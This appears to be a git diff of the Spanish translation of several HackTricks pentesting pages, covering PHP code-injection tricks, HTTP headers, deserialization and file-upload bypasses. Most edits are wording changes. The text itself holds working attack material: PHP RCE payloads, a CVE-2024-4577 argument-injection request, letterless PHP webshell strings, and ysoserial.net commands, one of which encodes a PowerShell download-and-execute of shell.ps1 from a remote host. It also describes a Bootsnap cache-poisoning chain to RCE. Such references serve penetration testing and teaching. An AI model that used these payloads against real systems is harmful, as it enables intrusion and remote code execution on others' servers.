 usort();}phpinfo;#, "cmp");
 }?>
 ```
-Puedes usar también **//** para comentar el resto del código.
+Puedes también usar **//** para comentar el resto del código.

 Para descubrir el número de paréntesis que necesitas cerrar:

- `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes.
+- `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falta uno o más corchetes.
 - `?order=id);}//`: obtenemos una **advertencia**. Eso parece correcto.
- `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre.
+- `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tenemos demasiados corchetes de cierre.

 ### **RCE a través de .httaccess**

@ -280,7 +281,7 @@ Si encuentras una vulnerabilidad que te permite **modificar variables de entorno
 1. Sube un archivo PHP que contenga nuestro shellcode
 2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
 3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
- Obtén más información sobre cómo ejecutar esta cadena [**del informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
+- Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
 - **PHPRC** - otra opción
 - Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
@ -294,7 +295,7 @@ El servidor web analiza las solicitudes HTTP y las pasa a un script PHP ejecutan
 ```jsx
 -d allow_url_include=1 -d auto_prepend_file=php://input
 ```
-Además, es posible inyectar el parámetro "-" utilizando el carácter 0xAD debido a la normalización posterior de PHP. Consulta el ejemplo de explotación de [**esta publicación**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
+Además, es posible inyectar el parámetro "-" utilizando el carácter 0xAD debido a la normalización posterior de PHP. Consulta el ejemplo de exploit de [**esta publicación**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
 ```jsx
 POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
 Host: {{host}}
@ -312,7 +313,7 @@ phpinfo();
 ## PHP Sanitization bypass & Brain Fuck

 [**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\
-Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias comprobaciones:
+Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones:
 ```php
 (1)->{system($_GET[chr(97)])}
 ```
@ -382,7 +383,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

 $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
 ```
-Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
+Entonces, si puedes **ejecutar PHP arbitrario sin números y letras** puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
 ```
 POST: /action.php?_=system&__=cat+flag.php
 Content-Type: application/x-www-form-urlencoded
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md
@ -43,7 +43,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi
 ../../pentesting-web/abusing-hop-by-hop-headers.md
 {{#endref}}

-## HTTP Request Smuggling
+## Secuestro de solicitudes HTTP

 - `Content-Length: 30`
 - `Transfer-Encoding: chunked`
@ -58,7 +58,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi

 - **`X-Cache`** en la respuesta puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está almacenada en caché
 - Comportamiento similar en el encabezado **`Cf-Cache-Status`**
- **`Cache-Control`** indica si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché nuevamente: `Cache-Control: public, max-age=1800`
+- **`Cache-Control`** indica si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso se almacenará en caché nuevamente: `Cache-Control: public, max-age=1800`
 - **`Vary`** se usa a menudo en la respuesta para **indicar encabezados adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no tienen clave.
 - **`Age`** define el tiempo en segundos que el objeto ha estado en la caché del proxy.
 - **`Server-Timing: cdn-cache; desc=HIT`** también indica que un recurso fue almacenado en caché
@ -70,7 +70,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi
 **Encabezados de caché local**:

 - `Clear-Site-Data`: Encabezado para indicar la caché que debe ser eliminada: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Contiene la fecha/hora cuando la respuesta debe expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
+- `Expires`: Contiene la fecha/hora en que la respuesta debe expirar: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
 - `Pragma: no-cache` igual que `Cache-Control: no-cache`
 - `Warning`: El encabezado HTTP general **`Warning`** contiene información sobre posibles problemas con el estado del mensaje. Puede aparecer más de un encabezado `Warning` en una respuesta. `Warning: 110 anderson/1.3.37 "Response is stale"`

@ -78,12 +78,13 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi

 - Las solicitudes que utilizan estos encabezados: **`If-Modified-Since`** y **`If-Unmodified-Since`** recibirán respuesta con datos solo si el encabezado de respuesta **`Last-Modified`** contiene un tiempo diferente.
 - Las solicitudes condicionales que utilizan **`If-Match`** y **`If-None-Match`** utilizan un valor Etag para que el servidor web envíe el contenido de la respuesta si los datos (Etag) han cambiado. El `Etag` se toma de la respuesta HTTP.
- El valor **Etag** generalmente se **calcula** en función del **contenido** de la respuesta. Por ejemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que el `Etag` es el **Sha1** de **37 bytes**.
+- El valor **Etag** se calcula generalmente **basado** en el **contenido** de la respuesta. Por ejemplo, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indica que el `Etag` es el **Sha1** de **37 bytes**.

 ## Solicitudes de rango

 - **`Accept-Ranges`**: Indica si el servidor admite solicitudes de rango, y si es así, en qué unidad se puede expresar el rango. `Accept-Ranges: <range-unit>`
- **`Range`**: Indica la parte de un documento que el servidor debe devolver.
+- **`Range`**: Indica la parte de un documento que el servidor debe devolver. Por ejemplo, `Range:80-100` devolverá los bytes 80 a 100 de la respuesta original con un código de estado de 206 Contenido parcial. También recuerda eliminar el encabezado `Accept-Encoding` de la solicitud.
+- Esto podría ser útil para obtener una respuesta con código JavaScript reflejado arbitrario que de otro modo podría ser escapado. Pero para abusar de esto necesitarías inyectar estos encabezados en la solicitud.
 - **`If-Range`**: Crea una solicitud de rango condicional que solo se cumple si el etag o la fecha dados coinciden con el recurso remoto. Se utiliza para evitar descargar dos rangos de versiones incompatibles del recurso.
 - **`Content-Range`**: Indica dónde en un mensaje de cuerpo completo pertenece un mensaje parcial.

@ -95,7 +96,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi
 - **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, para que permita a un usuario diferenciar según el idioma preferido del usuario.
 - **`Content-Location`**: Indica una ubicación alternativa para los datos devueltos.

-Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **info**, esto podría ser **interesante.**\
+Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **información**, esto podría ser **interesante.**\
 Por ejemplo, una combinación de **`Range`** y **`Etag`** en una solicitud HEAD puede filtrar el contenido de la página a través de solicitudes HEAD:

 - Una solicitud con el encabezado `Range: bytes=20-20` y con una respuesta que contiene `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` está filtrando que el SHA1 del byte 20 es `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
@ -112,7 +113,7 @@ Por ejemplo, una combinación de **`Range`** y **`Etag`** en una solicitud HEAD

 ## Descargas

- El encabezado **`Content-Disposition`** en las respuestas HTTP indica si un archivo debe ser mostrado **inline** (dentro de la página web) o tratado como un **adjunto** (descargado). Por ejemplo:
+- El encabezado **`Content-Disposition`** en las respuestas HTTP indica si un archivo debe mostrarse **en línea** (dentro de la página web) o tratarse como un **adjunto** (descargado). Por ejemplo:
 ```
 Content-Disposition: attachment; filename="filename.jpg"
 ```
@ -128,7 +129,7 @@ Esto significa que el archivo llamado "filename.jpg" está destinado a ser desca

 ### **Tipos de Confianza**

-Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente elaborados, que cumplan con las políticas de seguridad establecidas, en llamadas peligrosas a la API web, asegurando así el código JavaScript por defecto.
+Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente diseñados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto.
 ```javascript
 // Feature detection
 if (window.trustedTypes && trustedTypes.createPolicy) {
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@ -4,11 +4,11 @@

 ## Información Básica

-**La serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.
+**Serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.

-**La deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
+**Deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.

-La deserialización puede ser peligrosa porque **potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
+La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.

 ## PHP

@ -153,7 +153,7 @@ Para más información sobre cómo escapar de **pickle jails** consulta:

 ### Yaml **&** jsonpickle

-La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de python de yamls** y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:
+La siguiente página presenta la técnica para **abusar de una deserialización insegura en bibliotecas de yamls** de python y termina con una herramienta que se puede usar para generar cargas útiles de deserialización RCE para **Pickle, PyYAML, jsonpickle y ruamel.yaml**:

 {{#ref}}
 python-yaml-deserialization.md
@ -278,7 +278,7 @@ __js_function:
 }
 funcster.deepDeserialize(desertest3)
 ```
-**Para**[ **más información, lea esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**Para**[ **más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**

 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)

@ -365,7 +365,7 @@ Al ejecutar **gadgetinspector** (después de construirlo), no te preocupes por l

 Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\
 [**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-GadgetProbe se centra en las **deserializaciones de `ObjectInputStream`**.
+GadgetProbe se centra en las deserializaciones de **`ObjectInputStream`**.

 Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\
 [**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
@ -376,8 +376,8 @@ También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **det

 **Prueba de Serialización**

-No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una aplicación web).\
-Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría su modificación y eludir algunas verificaciones.
+No todo se trata de verificar si alguna biblioteca vulnerable es utilizada por el servidor. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunas verificaciones** (quizás otorgándote privilegios de administrador dentro de una webapp).\
+Si encuentras un objeto serializado de Java siendo enviado a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y eludir algunas verificaciones.

 ### **Explotar**

@ -486,7 +486,7 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo

 ### Labs

- Si quieres probar algunos payloads de ysoserial puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
+- Si quieres probar algunos payloads de ysoserial, puedes **ejecutar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)

 ### Why
@ -512,7 +512,7 @@ private transient double margin; // declared transient
 ```
 #### Evitar la serialización de una clase que necesita implementar Serializable

-En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrese de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
+En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
@ -585,7 +585,8 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)

 ## Inyección JNDI & log4Shell

@ -609,7 +610,7 @@ Hay varios productos que utilizan este middleware para enviar mensajes:

 ### Explotación

-Entonces, básicamente hay un **montón de servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
+Entonces, básicamente hay un **montón de servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
 Esto significa que en esta explotación todos los **clientes que vayan a usar ese mensaje se infectarán**.

 Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
@ -648,16 +649,16 @@ Si deseas aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**cons

 Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.**

- **`--gadget`** se utiliza para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
- **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el backend para deserializar la carga útil y usar la misma para serializarla).
- **`--output`** se utiliza para indicar si deseas el exploit en **crudo** o **codificado en base64**. _Ten en cuenta que **ysoserial.net** **codificará** la carga útil usando **UTF-16LE** (codificación utilizada por defecto en Windows), así que si obtienes el crudo y simplemente lo codificas desde una consola de linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._
+- **`--gadget`** se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
+- **`--formatter`**, se usa para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el backend para deserializar la carga y usar la misma para serializarla).
+- **`--output`** se usa para indicar si deseas el exploit en **raw** o **base64** codificado. _Ten en cuenta que **ysoserial.net** **codificará** la carga utilizando **UTF-16LE** (codificación utilizada por defecto en Windows), así que si obtienes el raw y simplemente lo codificas desde una consola de linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._
 - **`--plugin`** ysoserial.net admite plugins para crear **exploits para marcos específicos** como ViewState.

 #### Más parámetros de ysoserial.net

- `--minify` proporcionará una **carga útil más pequeña** (si es posible).
- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso).
- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
+- `--minify` proporcionará una **carga útil más pequeña** (si es posible)
+- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
+- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas)

 **Ejemplos de ysoserial** para crear exploits:
 ```bash
@ -678,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
 **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
-Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\
+Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así podrás probar si tu payload funcionará correctamente.\
 Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
 if (inputArgs.Test)
@ -715,15 +716,15 @@ Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_V

 Para mitigar los riesgos asociados con la deserialización en .Net:

- **Evita permitir que los flujos de datos definan sus tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible.
+- **Evitar permitir que los flujos de datos definan sus tipos de objeto.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible.
 - **Para `JSON.Net`, establece `TypeNameHandling` en `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
- **Limita los tipos que pueden ser deserializados**, entendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio.
- **Ten cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada.
- **Controla de manera segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, lo que haría que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables.
- **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`.
- **Mantente informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos.
- **Aísla el código potencialmente riesgoso** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables.
+- **Evitar usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
+- **Limitar los tipos que pueden ser deserializados**, entendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio.
+- **Tener cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada.
+- **Controlar de manera segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, haciendo que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables.
+- **Implementar controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`.
+- **Mantenerse informado sobre gadgets de deserialización inseguros conocidos** dentro de .Net y asegurarse de que los deserializadores no instancien tales tipos.
+- **Aislar el código potencialmente riesgoso** del código con acceso a internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables.

 ### **Referencias**

@ -923,4 +924,39 @@ Además, se encontró que con la técnica anterior también se crea una carpeta
 ```
 Consulta más detalles en la [**publicación original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).

+### Bootstrap Caching
+
+No es realmente una vulnerabilidad de deserialización, sino un buen truco para abusar del almacenamiento en caché de bootstrap para obtener RCE de una aplicación Rails con una escritura de archivo arbitraria (encuentra la [publicación original completa aquí](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
+
+A continuación se presenta un breve resumen de los pasos detallados en el artículo para explotar una vulnerabilidad de escritura de archivo arbitraria abusando del almacenamiento en caché de Bootsnap:
+
+- Identificar la Vulnerabilidad y el Entorno
+
+La funcionalidad de carga de archivos de la aplicación Rails permite a un atacante escribir archivos de manera arbitraria. Aunque la aplicación se ejecuta con restricciones (solo ciertos directorios como tmp son escribibles debido al usuario no root de Docker), esto aún permite escribir en el directorio de caché de Bootsnap (típicamente bajo tmp/cache/bootsnap).
+
+- Entender el Mecanismo de Caché de Bootsnap
+
+Bootsnap acelera los tiempos de arranque de Rails almacenando en caché el código Ruby compilado, archivos YAML y JSON. Almacena archivos de caché que incluyen un encabezado de clave de caché (con campos como versión de Ruby, tamaño de archivo, mtime, opciones de compilación, etc.) seguido del código compilado. Este encabezado se utiliza para validar la caché durante el inicio de la aplicación.
+
+- Reunir Metadatos del Archivo
+
+El atacante primero selecciona un archivo objetivo que probablemente se cargue durante el inicio de Rails (por ejemplo, set.rb de la biblioteca estándar de Ruby). Al ejecutar código Ruby dentro del contenedor, extraen metadatos críticos (como RUBY_VERSION, RUBY_REVISION, tamaño, mtime y compile_option). Estos datos son esenciales para crear una clave de caché válida.
+
+- Calcular la Ruta del Archivo de Caché
+
+Al replicar el mecanismo de hash FNV-1a de 64 bits de Bootsnap, se determina la ruta correcta del archivo de caché. Este paso asegura que el archivo de caché malicioso se coloque exactamente donde Bootsnap lo espera (por ejemplo, bajo tmp/cache/bootsnap/compile-cache-iseq/).
+
+- Crear el Archivo de Caché Malicioso
+
+El atacante prepara una carga útil que:
+
+- Ejecuta comandos arbitrarios (por ejemplo, ejecutando id para mostrar información del proceso).
+- Elimina la caché maliciosa después de la ejecución para evitar explotación recursiva.
+- Carga el archivo original (por ejemplo, set.rb) para evitar que la aplicación se bloquee.
+
+Esta carga útil se compila en código Ruby binario y se concatena con un encabezado de clave de caché cuidadosamente construido (usando los metadatos recopilados previamente y el número de versión correcto para Bootsnap).
+
+- Sobrescribir y Activar la Ejecución
+Usando la vulnerabilidad de escritura de archivo arbitraria, el atacante escribe el archivo de caché elaborado en la ubicación calculada. A continuación, activan un reinicio del servidor (escribiendo en tmp/restart.txt, que es monitoreado por Puma). Durante el reinicio, cuando Rails requiere el archivo objetivo, se carga el archivo de caché malicioso, lo que resulta en ejecución remota de código (RCE).
+
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@ -43,7 +43,7 @@ Otras extensiones útiles:
 5. Agrega **otra capa de extensiones** a la verificación anterior:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
+6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
 - _ej: file.php.png_
 7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
 8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
@ -51,7 +51,7 @@ Otras extensiones útiles:
 ```
 # Linux máximo 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
